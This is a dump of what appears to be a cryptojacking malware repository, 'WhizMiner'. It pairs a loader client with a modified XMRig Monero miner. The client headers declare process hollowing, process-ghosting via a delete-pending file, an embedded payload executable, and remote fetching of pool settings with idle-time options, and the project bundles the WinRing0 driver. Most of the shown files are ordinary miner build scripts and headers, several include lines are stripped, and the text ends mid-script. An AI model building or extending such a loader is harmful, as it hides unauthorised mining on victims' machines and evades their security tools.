├── .gitignore ├── Client ├── include │ ├── resources.h │ ├── http_client.h │ ├── delete_pending_file.h │ ├── hollowing_parts.h │ ├── pe_hdrs_helper.h │ ├── json_printer.h │ ├── process_info.h │ ├── kernel32_undoc.h │ └── embedded_resource.h ├── resources │ ├── embedded.exe │ └── embedded_resource.rc └── src │ ├── process_info.cpp │ └── json_printer.cpp ├── Builder └── icon.jpg ├── Modified XMRig ├── res │ ├── app.ico │ └── app.rc ├── scripts │ ├── benchmark_10M.cmd │ ├── benchmark_1M.cmd │ ├── build_deps.sh │ ├── enable_1gb_pages.sh │ ├── build.uv.sh │ ├── build.hwloc1.sh │ ├── build.libressl.sh │ ├── build.openssl.sh │ ├── build.openssl3.sh │ ├── build.hwloc.sh │ ├── solo_mine_example.cmd │ ├── pool_mine_example.cmd │ └── rtm_ghostrider_example.cmd ├── doc │ ├── screenshot.png │ ├── screenshot_v5_2_0.png │ ├── PERSISTENT_OPTIONS.md │ ├── CPU_MAX_USAGE.md │ ├── BENCHMARK.md │ └── api │ │ └── 1 │ │ └── threads.json ├── src │ ├── 3rdparty │ │ ├── fmt │ │ │ ├── posix.h │ │ │ └── LICENSE.rst │ │ ├── epee │ │ │ ├── README.md │ │ │ └── LICENSE.txt │ │ ├── argon2 │ │ │ ├── arch │ │ │ │ ├── x86_64 │ │ │ │ │ ├── src │ │ │ │ │ │ ├── test-feature-xop.c │ │ │ │ │ │ ├── test-feature-avx512f.c │ │ │ │ │ │ ├── test-feature-sse2.c │ │ │ │ │ │ ├── test-feature-avx2.c │ │ │ │ │ │ └── test-feature-ssse3.c │ │ │ │ │ └── lib │ │ │ │ │ │ ├── argon2-xop.h │ │ │ │ │ │ ├── argon2-avx2.h │ │ │ │ │ │ ├── argon2-sse2.h │ │ │ │ │ │ ├── argon2-ssse3.h │ │ │ │ │ │ ├── argon2-avx512f.h │ │ │ │ │ │ └── argon2-arch.c │ │ │ │ └── generic │ │ │ │ │ └── lib │ │ │ │ │ └── argon2-arch.c │ │ │ ├── lib │ │ │ │ ├── impl-select.h │ │ │ │ ├── blake2 │ │ │ │ │ └── blake2.h │ │ │ │ ├── genkat.h │ │ │ │ └── encoding.h │ │ │ └── LICENSE │ │ ├── libethash │ │ │ ├── CMakeLists.txt │ │ │ └── fnv.h │ │ ├── hwloc │ │ │ ├── src │ │ │ │ └── static-components.h │ │ │ ├── include │ │ │ │ └── private │ │ │ │ │ ├── windows.h │ │ │ │ │ └── solaris-chiptype.h │ │ │ ├── CMakeLists.txt │ │ │ └── AUTHORS │ │ ├── llhttp │ │ │ └── LICENSE-MIT │ │ ├── CL │ │ │ ├── LICENSE │ │ │ └── README.md │ │ ├── argon2.h │ │ ├── cl.h │ │ └── rapidjson │ │ │ └── internal │ │ │ └── swap.h │ ├── crypto │ │ ├── randomx │ │ │ ├── asm │ │ │ │ ├── program_sshash_prefetch.inc │ │ │ │ ├── randomx_reciprocal.inc │ │ │ │ ├── program_epilogue_linux.inc │ │ │ │ ├── program_xmm_constants.inc │ │ │ │ ├── program_sshash_load.inc │ │ │ │ ├── program_read_dataset_sshash_fin.inc │ │ │ │ ├── program_loop_store.inc │ │ │ │ ├── program_read_dataset.inc │ │ │ │ ├── program_read_dataset_sshash_init.inc │ │ │ │ ├── program_epilogue_win64.inc │ │ │ │ ├── program_sshash_avx2_ssh_prefetch.inc │ │ │ │ ├── program_epilogue_store.inc │ │ │ │ ├── program_sshash_constants.inc │ │ │ │ ├── program_imul_rcp_store.inc │ │ │ │ ├── program_loop_load_xop.inc │ │ │ │ ├── program_loop_load.inc │ │ │ │ ├── program_sshash_avx2_constants.inc │ │ │ │ ├── program_sshash_avx2_epilogue.inc │ │ │ │ ├── program_sshash_avx2_save_registers.inc │ │ │ │ ├── program_sshash_avx2_loop_begin.inc │ │ │ │ ├── program_prologue_linux.inc │ │ │ │ ├── program_sshash_avx2_loop_end.inc │ │ │ │ └── program_prologue_win64.inc │ │ │ └── blake2 │ │ │ │ └── avx2 │ │ │ │ ├── blake2b.h │ │ │ │ └── blake2.h │ │ ├── cn │ │ │ ├── hash.h │ │ │ ├── c_jh.h │ │ │ ├── c_blake256.h │ │ │ ├── CnCtx.h │ │ │ ├── asm │ │ │ │ ├── cn1 │ │ │ │ │ └── cnv1_single_main_loop.inc │ │ │ │ └── win64 │ │ │ │ │ └── cn1 │ │ │ │ │ └── cnv1_single_main_loop.inc │ │ │ └── c_groestl.h │ │ ├── rx │ │ │ ├── RxFix.h │ │ │ ├── RxVm.h │ │ │ └── RxMsr.h │ │ ├── common │ │ │ ├── LinuxMemory.h │ │ │ ├── HugePagesInfo.cpp │ │ │ └── VirtualMemory_hwloc.cpp │ │ ├── ghostrider │ │ │ └── ghostrider.h │ │ └── argon2 │ │ │ └── Impl.h │ ├── hw │ │ ├── api │ │ │ ├── api.cmake │ │ │ ├── HwApi.h │ │ │ └── HwApi.cpp │ │ └── dmi │ │ │ └── dmi.cmake │ ├── backend │ │ ├── opencl │ │ │ ├── cl │ │ │ │ ├── rx │ │ │ │ │ └── randomx.cl │ │ │ │ ├── cn │ │ │ │ │ ├── cryptonight_r_defines.cl │ │ │ │ │ ├── fast_div_heavy.cl │ │ │ │ │ └── algorithm.cl │ │ │ │ ├── kawpow │ │ │ │ │ └── defs.h │ │ │ │ └── OclSource.h │ │ │ ├── wrappers │ │ │ │ ├── AdlHealth.h │ │ │ │ └── OclVendor.h │ │ │ ├── runners │ │ │ │ └── tools │ │ │ │ │ └── OclKawPow.h │ │ │ ├── kernels │ │ │ │ └── kawpow │ │ │ │ │ └── KawPow_CalculateDAGKernel.h │ │ │ ├── OclCache.h │ │ │ ├── OclCache_unix.cpp │ │ │ └── OclGenerator.h │ │ ├── backend.cmake │ │ ├── common │ │ │ ├── Worker.cpp │ │ │ ├── interfaces │ │ │ │ ├── IRxListener.h │ │ │ │ ├── IBenchListener.h │ │ │ │ └── IMemoryPool.h │ │ │ ├── common.cmake │ │ │ ├── HashrateInterpolator.h │ │ │ └── benchmark │ │ │ │ └── Benchmark.h │ │ ├── cpu │ │ │ └── Cpu.h │ │ └── cuda │ │ │ ├── CudaLaunchData.cpp │ │ │ ├── wrappers │ │ │ └── NvmlHealth.h │ │ │ └── runners │ │ │ └── CudaKawPowRunner.h │ ├── base │ │ ├── tools │ │ │ ├── Span.h │ │ │ ├── Buffer.h │ │ │ ├── Baton.h │ │ │ ├── bswap_64.h │ │ │ ├── Chrono.cpp │ │ │ ├── Alignment.h │ │ │ ├── Object.h │ │ │ └── Arguments.h │ │ ├── kernel │ │ │ ├── Process_win.cpp │ │ │ ├── Process_unix.cpp │ │ │ ├── constants.h │ │ │ ├── interfaces │ │ │ │ ├── IAsyncListener.h │ │ │ │ ├── IConsoleListener.h │ │ │ │ ├── ISignalListener.h │ │ │ │ ├── ITimerListener.h │ │ │ │ ├── IBaseListener.h │ │ │ │ ├── IHttpListener.h │ │ │ │ ├── IDnsListener.h │ │ │ │ ├── ILogBackend.h │ │ │ │ ├── IDnsBackend.h │ │ │ │ ├── IConfigListener.h │ │ │ │ └── IWatcherListener.h │ │ │ └── config │ │ │ │ └── Title.h │ │ ├── io │ │ │ ├── Env.h │ │ │ ├── log │ │ │ │ └── backends │ │ │ │ │ ├── FileLog.cpp │ │ │ │ │ ├── SysLog.cpp │ │ │ │ │ ├── SysLog.h │ │ │ │ │ └── FileLog.h │ │ │ └── Async.h │ │ ├── net │ │ │ ├── dns │ │ │ │ ├── DnsRequest.h │ │ │ │ ├── Dns.cpp │ │ │ │ ├── DnsRecords.h │ │ │ │ ├── DnsConfig.h │ │ │ │ └── DnsRecord.h │ │ │ ├── tools │ │ │ │ └── NetBuffer.h │ │ │ ├── stratum │ │ │ │ └── ProxyUrl.h │ │ │ └── http │ │ │ │ ├── HttpApiResponse.h │ │ │ │ ├── HttpListener.h │ │ │ │ └── HttpServer.h │ │ └── api │ │ │ ├── interfaces │ │ │ └── IApiListener.h │ │ │ └── requests │ │ │ └── ApiRequest.cpp │ ├── Summary.h │ ├── xmrig.cpp │ └── core │ │ └── Taskbar.h ├── bin │ └── WinRing0 │ │ ├── WinRing0x64.sys │ │ └── LICENSE ├── cmake │ ├── ghostrider.cmake │ ├── argon2.cmake │ ├── kawpow.cmake │ ├── FindUV.cmake │ ├── FindHWLOC.cmake │ └── os.cmake └── package.json └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | .* 2 | !.gitignore -------------------------------------------------------------------------------- /Client/include/resources.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #define EMBEDDED_EXE 101 -------------------------------------------------------------------------------- /Builder/icon.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/laprosa/WhizMiner/HEAD/Builder/icon.jpg -------------------------------------------------------------------------------- /Modified XMRig/res/app.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/laprosa/WhizMiner/HEAD/Modified XMRig/res/app.ico -------------------------------------------------------------------------------- /Client/resources/embedded.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/laprosa/WhizMiner/HEAD/Client/resources/embedded.exe -------------------------------------------------------------------------------- /Client/resources/embedded_resource.rc: -------------------------------------------------------------------------------- 1 | #include "resources.h" 2 | EMBEDDED_EXE RCDATA "../resources/embedded.exe" -------------------------------------------------------------------------------- /Modified XMRig/scripts/benchmark_10M.cmd: -------------------------------------------------------------------------------- 1 | @echo off 2 | cd /d "%~dp0" 3 | xmrig.exe --bench=10M --submit 4 | pause 5 | -------------------------------------------------------------------------------- /Modified XMRig/scripts/benchmark_1M.cmd: -------------------------------------------------------------------------------- 1 | @echo off 2 | cd /d "%~dp0" 3 | xmrig.exe --bench=1M --submit 4 | pause 5 | -------------------------------------------------------------------------------- /Modified XMRig/scripts/build_deps.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh -e 2 | 3 | ./build.uv.sh 4 | ./build.hwloc.sh 5 | ./build.openssl3.sh -------------------------------------------------------------------------------- /Modified XMRig/doc/screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/laprosa/WhizMiner/HEAD/Modified XMRig/doc/screenshot.png -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/fmt/posix.h: -------------------------------------------------------------------------------- 1 | #include "os.h" 2 | #warning "fmt/posix.h is deprecated; use fmt/os.h instead" 3 | -------------------------------------------------------------------------------- /Modified XMRig/doc/screenshot_v5_2_0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/laprosa/WhizMiner/HEAD/Modified XMRig/doc/screenshot_v5_2_0.png -------------------------------------------------------------------------------- /Modified XMRig/bin/WinRing0/WinRing0x64.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/laprosa/WhizMiner/HEAD/Modified XMRig/bin/WinRing0/WinRing0x64.sys -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/epee/README.md: -------------------------------------------------------------------------------- 1 | epee - is a small library of helpers, wrappers, tools and so on, used to make my life easier. 2 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_sshash_prefetch.inc: -------------------------------------------------------------------------------- 1 | and rbx, RANDOMX_CACHE_MASK 2 | shl rbx, 6 3 | add rbx, rdi 4 | prefetchnta byte ptr [rbx] -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/randomx_reciprocal.inc: -------------------------------------------------------------------------------- 1 | mov edx, 1 2 | mov r8, rcx 3 | xor eax, eax 4 | bsr rcx, rcx 5 | shl rdx, cl 6 | div r8 7 | ret -------------------------------------------------------------------------------- /Client/include/http_client.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | 6 | std::string fetchJsonFromUrl(const std::wstring& url); -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/cn/hash.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef unsigned char BitSequence; 4 | typedef unsigned long long DataLength; 5 | typedef enum {SUCCESS = 0, FAIL = 1, BAD_HASHLEN = 2} HashReturn; 6 | -------------------------------------------------------------------------------- /Client/include/delete_pending_file.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #pragma once 4 | 5 | #include 6 | 7 | HANDLE make_section_from_delete_pending_file(wchar_t* filePath, BYTE* payladBuf, DWORD payloadSize); 8 | -------------------------------------------------------------------------------- /Client/include/hollowing_parts.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "pe_hdrs_helper.h" 5 | 6 | bool redirect_to_payload(BYTE* loaded_pe, PVOID load_base, PROCESS_INFORMATION &pi, bool is32bit); 7 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_epilogue_linux.inc: -------------------------------------------------------------------------------- 1 | ;# restore callee-saved registers - System V AMD64 ABI 2 | pop r15 3 | pop r14 4 | pop r13 5 | pop r12 6 | pop rbp 7 | pop rbx 8 | 9 | ;# program finished 10 | ret 0 -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/argon2/arch/x86_64/src/test-feature-xop.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void function_xop(__m128i *dst, const __m128i *a, int b) 4 | { 5 | *dst = _mm_roti_epi64(*a, b); 6 | } 7 | 8 | int main(void) { return 0; } 9 | -------------------------------------------------------------------------------- /Client/include/pe_hdrs_helper.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | WORD get_pe_architecture(const BYTE *pe_buffer); 6 | 7 | DWORD get_entry_point_rva(const BYTE *pe_buffer); 8 | 9 | bool pe_is64bit(IN const BYTE *pe_buffer); 10 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/argon2/arch/x86_64/src/test-feature-avx512f.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void function_avx512f(__m512i *dst, const __m512i *a) 4 | { 5 | *dst = _mm512_ror_epi64(*a, 57); 6 | } 7 | 8 | int main(void) { return 0; } 9 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/argon2/arch/x86_64/src/test-feature-sse2.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void function_sse2(__m128i *dst, const __m128i *a, const __m128i *b) 4 | { 5 | *dst = _mm_xor_si128(*a, *b); 6 | } 7 | 8 | int main(void) { return 0; } 9 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/argon2/arch/x86_64/src/test-feature-avx2.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void function_avx2(__m256i *dst, const __m256i *a, const __m256i *b) 4 | { 5 | *dst = _mm256_xor_si256(*a, *b); 6 | } 7 | 8 | int main(void) { return 0; } 9 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/argon2/arch/x86_64/src/test-feature-ssse3.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void function_ssse3(__m128i *dst, const __m128i *a, const __m128i *b) 4 | { 5 | *dst = _mm_shuffle_epi8(*a, *b); 6 | } 7 | 8 | int main(void) { return 0; } 9 | -------------------------------------------------------------------------------- /Modified XMRig/doc/PERSISTENT_OPTIONS.md: -------------------------------------------------------------------------------- 1 | # Persistent options 2 | 3 | Options in list below can't changed in runtime by watching config file or via API. 4 | 5 | * `background` 6 | * `donate-level` 7 | * `cpu/argon2-impl` 8 | * `opencl/loader` 9 | * `opencl/platform` 10 | -------------------------------------------------------------------------------- /Modified XMRig/src/hw/api/api.cmake: -------------------------------------------------------------------------------- 1 | if (WITH_HTTP) 2 | add_definitions(/DXMRIG_FEATURE_DMI) 3 | 4 | list(APPEND HEADERS 5 | src/hw/api/HwApi.h 6 | ) 7 | 8 | list(APPEND SOURCES 9 | src/hw/api/HwApi.cpp 10 | ) 11 | endif() 12 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_xmm_constants.inc: -------------------------------------------------------------------------------- 1 | mantissaMask: 2 | db 0, 0, 192, 255, 255, 255, 255, 0, 0, 0, 192, 255, 255, 255, 255, 0 3 | exp240: 4 | db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 5 | scaleMask: 6 | db 0, 0, 0, 0, 0, 0, 240, 128, 0, 0, 0, 0, 0, 0, 240, 128 -------------------------------------------------------------------------------- /Modified XMRig/cmake/ghostrider.cmake: -------------------------------------------------------------------------------- 1 | if (WITH_GHOSTRIDER) 2 | add_definitions(/DXMRIG_ALGO_GHOSTRIDER) 3 | add_subdirectory(src/crypto/ghostrider) 4 | set(GHOSTRIDER_LIBRARY ghostrider) 5 | else() 6 | remove_definitions(/DXMRIG_ALGO_GHOSTRIDER) 7 | set(GHOSTRIDER_LIBRARY "") 8 | endif() 9 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_sshash_load.inc: -------------------------------------------------------------------------------- 1 | xor r8, qword ptr [rbx+0] 2 | xor r9, qword ptr [rbx+8] 3 | xor r10, qword ptr [rbx+16] 4 | xor r11, qword ptr [rbx+24] 5 | xor r12, qword ptr [rbx+32] 6 | xor r13, qword ptr [rbx+40] 7 | xor r14, qword ptr [rbx+48] 8 | xor r15, qword ptr [rbx+56] -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/argon2/arch/x86_64/lib/argon2-xop.h: -------------------------------------------------------------------------------- 1 | #ifndef ARGON2_XOP_H 2 | #define ARGON2_XOP_H 3 | 4 | #include "core.h" 5 | 6 | void xmrig_ar2_fill_segment_xop(const argon2_instance_t *instance, argon2_position_t position); 7 | int xmrig_ar2_check_xop(void); 8 | 9 | #endif // ARGON2_XOP_H 10 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/argon2/arch/x86_64/lib/argon2-avx2.h: -------------------------------------------------------------------------------- 1 | #ifndef ARGON2_AVX2_H 2 | #define ARGON2_AVX2_H 3 | 4 | #include "core.h" 5 | 6 | void xmrig_ar2_fill_segment_avx2(const argon2_instance_t *instance, argon2_position_t position); 7 | int xmrig_ar2_check_avx2(void); 8 | 9 | #endif // ARGON2_AVX2_H 10 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/argon2/arch/x86_64/lib/argon2-sse2.h: -------------------------------------------------------------------------------- 1 | #ifndef ARGON2_SSE2_H 2 | #define ARGON2_SSE2_H 3 | 4 | #include "core.h" 5 | 6 | void xmrig_ar2_fill_segment_sse2(const argon2_instance_t *instance, argon2_position_t position); 7 | int xmrig_ar2_check_sse2(void); 8 | 9 | #endif // ARGON2_SSE2_H 10 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/argon2/arch/x86_64/lib/argon2-ssse3.h: -------------------------------------------------------------------------------- 1 | #ifndef ARGON2_SSSE3_H 2 | #define ARGON2_SSSE3_H 3 | 4 | #include "core.h" 5 | 6 | void xmrig_ar2_fill_segment_ssse3(const argon2_instance_t *instance, argon2_position_t position); 7 | int xmrig_ar2_check_ssse3(void); 8 | 9 | #endif // ARGON2_SSSE3_H 10 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/argon2/arch/x86_64/lib/argon2-avx512f.h: -------------------------------------------------------------------------------- 1 | #ifndef ARGON2_AVX512F_H 2 | #define ARGON2_AVX512F_H 3 | 4 | #include "core.h" 5 | 6 | void xmrig_ar2_fill_segment_avx512f(const argon2_instance_t *instance, argon2_position_t position); 7 | int xmrig_ar2_check_avx512f(void); 8 | 9 | #endif // ARGON2_AVX512F_H 10 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/blake2/avx2/blake2b.h: -------------------------------------------------------------------------------- 1 | #ifndef BLAKE2_AVX2_BLAKE2B_H 2 | #define BLAKE2_AVX2_BLAKE2B_H 3 | 4 | #include 5 | 6 | #if defined(__cplusplus) 7 | extern "C" { 8 | #endif 9 | 10 | int blake2b_avx2(void* out, size_t outlen, const void* in, size_t inlen); 11 | 12 | #if defined(__cplusplus) 13 | } 14 | #endif 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /Modified XMRig/scripts/enable_1gb_pages.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh -e 2 | 3 | # https://xmrig.com/docs/miner/hugepages#onegb-huge-pages 4 | 5 | sysctl -w vm.nr_hugepages=$(nproc) 6 | 7 | for i in $(find /sys/devices/system/node/node* -maxdepth 0 -type d); 8 | do 9 | echo 3 > "$i/hugepages/hugepages-1048576kB/nr_hugepages"; 10 | done 11 | 12 | echo "1GB pages successfully enabled" -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_read_dataset_sshash_fin.inc: -------------------------------------------------------------------------------- 1 | mov rbx, qword ptr [rsp+64] 2 | xor r8, qword ptr [rsp+56] 3 | xor r9, qword ptr [rsp+48] 4 | xor r10, qword ptr [rsp+40] 5 | xor r11, qword ptr [rsp+32] 6 | xor r12, qword ptr [rsp+24] 7 | xor r13, qword ptr [rsp+16] 8 | xor r14, qword ptr [rsp+8] 9 | xor r15, qword ptr [rsp+0] 10 | add rsp, 200 -------------------------------------------------------------------------------- /Client/include/json_printer.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "json.hpp" 3 | #include 4 | #include 5 | 6 | using json = nlohmann::json; 7 | 8 | 9 | struct MiningPoolData { 10 | std::string address; 11 | int threads; 12 | int idle_threads; 13 | int idle_time; 14 | std::string password; 15 | std::string pool; 16 | bool ssl; 17 | }; 18 | 19 | MiningPoolData extractMiningPoolData(const json& data); -------------------------------------------------------------------------------- /Modified XMRig/cmake/argon2.cmake: -------------------------------------------------------------------------------- 1 | if (WITH_ARGON2) 2 | add_definitions(/DXMRIG_ALGO_ARGON2) 3 | 4 | list(APPEND HEADERS_CRYPTO 5 | src/crypto/argon2/Hash.h 6 | src/crypto/argon2/Impl.h 7 | ) 8 | 9 | list(APPEND SOURCES_CRYPTO 10 | src/crypto/argon2/Impl.cpp 11 | ) 12 | 13 | add_subdirectory(src/3rdparty/argon2) 14 | set(ARGON2_LIBRARY argon2) 15 | else() 16 | remove_definitions(/DXMRIG_ALGO_ARGON2) 17 | set(ARGON2_LIBRARY "") 18 | endif() 19 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/libethash/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.5) 2 | project (ethash C) 3 | 4 | set(CMAKE_C_FLAGS_RELEASE "${CMAKE_C_FLAGS_RELEASE} -Os") 5 | 6 | set(HEADERS 7 | data_sizes.h 8 | endian.h 9 | ethash.h 10 | ethash_internal.h 11 | fnv.h 12 | ) 13 | 14 | set(SOURCES 15 | ethash_internal.c 16 | keccakf800.c 17 | ) 18 | 19 | include_directories(../..) 20 | 21 | add_library(ethash STATIC 22 | ${HEADERS} 23 | ${SOURCES} 24 | ) 25 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/opencl/cl/rx/randomx.cl: -------------------------------------------------------------------------------- 1 | #include "../cn/algorithm.cl" 2 | 3 | #if ((ALGO == ALGO_RX_0) || (ALGO == ALGO_RX_YADA)) 4 | #include "randomx_constants_monero.h" 5 | #elif (ALGO == ALGO_RX_WOW) 6 | #include "randomx_constants_wow.h" 7 | #elif (ALGO == ALGO_RX_ARQMA) 8 | #include "randomx_constants_arqma.h" 9 | #elif (ALGO == ALGO_RX_GRAFT) 10 | #include "randomx_constants_graft.h" 11 | #endif 12 | 13 | #include "aes.cl" 14 | #include "blake2b.cl" 15 | #include "randomx_vm.cl" 16 | #include "randomx_jit.cl" 17 | -------------------------------------------------------------------------------- /Modified XMRig/cmake/kawpow.cmake: -------------------------------------------------------------------------------- 1 | if (WITH_KAWPOW) 2 | add_definitions(/DXMRIG_ALGO_KAWPOW) 3 | 4 | list(APPEND HEADERS_CRYPTO 5 | src/crypto/kawpow/KPCache.h 6 | src/crypto/kawpow/KPHash.h 7 | ) 8 | 9 | list(APPEND SOURCES_CRYPTO 10 | src/crypto/kawpow/KPCache.cpp 11 | src/crypto/kawpow/KPHash.cpp 12 | ) 13 | 14 | add_subdirectory(src/3rdparty/libethash) 15 | set(ETHASH_LIBRARY ethash) 16 | else() 17 | remove_definitions(/DXMRIG_ALGO_KAWPOW) 18 | set(ETHASH_LIBRARY "") 19 | endif() 20 | -------------------------------------------------------------------------------- /Modified XMRig/scripts/build.uv.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh -e 2 | 3 | UV_VERSION="1.49.2" 4 | 5 | mkdir -p deps 6 | mkdir -p deps/include 7 | mkdir -p deps/lib 8 | 9 | mkdir -p build && cd build 10 | 11 | wget https://dist.libuv.org/dist/v${UV_VERSION}/libuv-v${UV_VERSION}.tar.gz -O v${UV_VERSION}.tar.gz 12 | tar -xzf v${UV_VERSION}.tar.gz 13 | 14 | cd libuv-v${UV_VERSION} 15 | sh autogen.sh 16 | ./configure --disable-shared 17 | make -j$(nproc || sysctl -n hw.ncpu || sysctl -n hw.logicalcpu) 18 | cp -fr include ../../deps 19 | cp .libs/libuv.a ../../deps/lib 20 | cd .. 21 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/argon2/arch/generic/lib/argon2-arch.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "impl-select.h" 6 | 7 | #define rotr64(x, n) (((x) >> (n)) | ((x) << (64 - (n)))) 8 | 9 | #include "argon2-template-64.h" 10 | 11 | void fill_segment_default(const argon2_instance_t *instance, 12 | argon2_position_t position) 13 | { 14 | fill_segment_64(instance, position); 15 | } 16 | 17 | void argon2_get_impl_list(argon2_impl_list *list) 18 | { 19 | list->count = 0; 20 | } 21 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/backend.cmake: -------------------------------------------------------------------------------- 1 | include(src/backend/cpu/cpu.cmake) 2 | include(src/backend/opencl/opencl.cmake) 3 | include(src/backend/cuda/cuda.cmake) 4 | include(src/backend/common/common.cmake) 5 | 6 | 7 | set(HEADERS_BACKEND 8 | "${HEADERS_BACKEND_COMMON}" 9 | "${HEADERS_BACKEND_CPU}" 10 | "${HEADERS_BACKEND_OPENCL}" 11 | "${HEADERS_BACKEND_CUDA}" 12 | ) 13 | 14 | set(SOURCES_BACKEND 15 | "${SOURCES_BACKEND_COMMON}" 16 | "${SOURCES_BACKEND_CPU}" 17 | "${SOURCES_BACKEND_OPENCL}" 18 | "${SOURCES_BACKEND_CUDA}" 19 | ) 20 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_loop_store.inc: -------------------------------------------------------------------------------- 1 | mov rcx, [rsp+24] 2 | mov qword ptr [rcx+0], r8 3 | mov qword ptr [rcx+8], r9 4 | mov qword ptr [rcx+16], r10 5 | mov qword ptr [rcx+24], r11 6 | mov qword ptr [rcx+32], r12 7 | mov qword ptr [rcx+40], r13 8 | mov qword ptr [rcx+48], r14 9 | mov qword ptr [rcx+56], r15 10 | mov rcx, [rsp+16] 11 | xorpd xmm0, xmm4 12 | xorpd xmm1, xmm5 13 | xorpd xmm2, xmm6 14 | xorpd xmm3, xmm7 15 | movapd xmmword ptr [rcx+0], xmm0 16 | movapd xmmword ptr [rcx+16], xmm1 17 | movapd xmmword ptr [rcx+32], xmm2 18 | movapd xmmword ptr [rcx+48], xmm3 19 | -------------------------------------------------------------------------------- /Modified XMRig/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "xmrig", 3 | "version": "3.0.0", 4 | "description": "RandomX, CryptoNight and Argon2 miner", 5 | "main": "index.js", 6 | "directories": { 7 | "doc": "doc" 8 | }, 9 | "scripts": { 10 | "build": "node scripts/generate_cl.js" 11 | }, 12 | "repository": { 13 | "type": "git", 14 | "url": "git+https://github.com/xmrig/xmrig.git" 15 | }, 16 | "keywords": [], 17 | "author": "", 18 | "license": "GPLv3", 19 | "bugs": { 20 | "url": "https://github.com/xmrig/xmrig/issues" 21 | }, 22 | "homepage": "https://github.com/xmrig/xmrig#readme" 23 | } 24 | -------------------------------------------------------------------------------- /Client/include/process_info.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #define PID_UTILS_H 7 | class ProcessStorage { 8 | public: 9 | // Add a process to storage 10 | static void AddProcess(DWORD pid, PROCESS_INFORMATION pi); 11 | 12 | // Get process information (returns std::nullopt if not found) 13 | static std::optional GetProcess(DWORD pid); 14 | 15 | 16 | private: 17 | static std::map processes_; 18 | static std::mutex mutex_; 19 | }; 20 | 21 | 22 | bool IsPidRunning(DWORD pid); 23 | -------------------------------------------------------------------------------- /Modified XMRig/scripts/build.hwloc1.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh -e 2 | 3 | HWLOC_VERSION="1.11.13" 4 | 5 | mkdir -p deps 6 | mkdir -p deps/include 7 | mkdir -p deps/lib 8 | 9 | mkdir -p build && cd build 10 | 11 | wget https://download.open-mpi.org/release/hwloc/v1.11/hwloc-${HWLOC_VERSION}.tar.gz -O hwloc-${HWLOC_VERSION}.tar.gz 12 | tar -xzf hwloc-${HWLOC_VERSION}.tar.gz 13 | 14 | cd hwloc-${HWLOC_VERSION} 15 | ./configure --disable-shared --enable-static --disable-io --disable-libudev --disable-libxml2 16 | make -j$(nproc || sysctl -n hw.ncpu || sysctl -n hw.logicalcpu) 17 | cp -fr include ../../deps 18 | cp src/.libs/libhwloc.a ../../deps/lib 19 | cd .. -------------------------------------------------------------------------------- /Modified XMRig/scripts/build.libressl.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh -e 2 | 3 | LIBRESSL_VERSION="3.5.2" 4 | 5 | mkdir -p deps 6 | mkdir -p deps/include 7 | mkdir -p deps/lib 8 | 9 | mkdir -p build && cd build 10 | 11 | wget https://ftp.openbsd.org/pub/OpenBSD/LibreSSL/libressl-${LIBRESSL_VERSION}.tar.gz -O libressl-${LIBRESSL_VERSION}.tar.gz 12 | tar -xzf 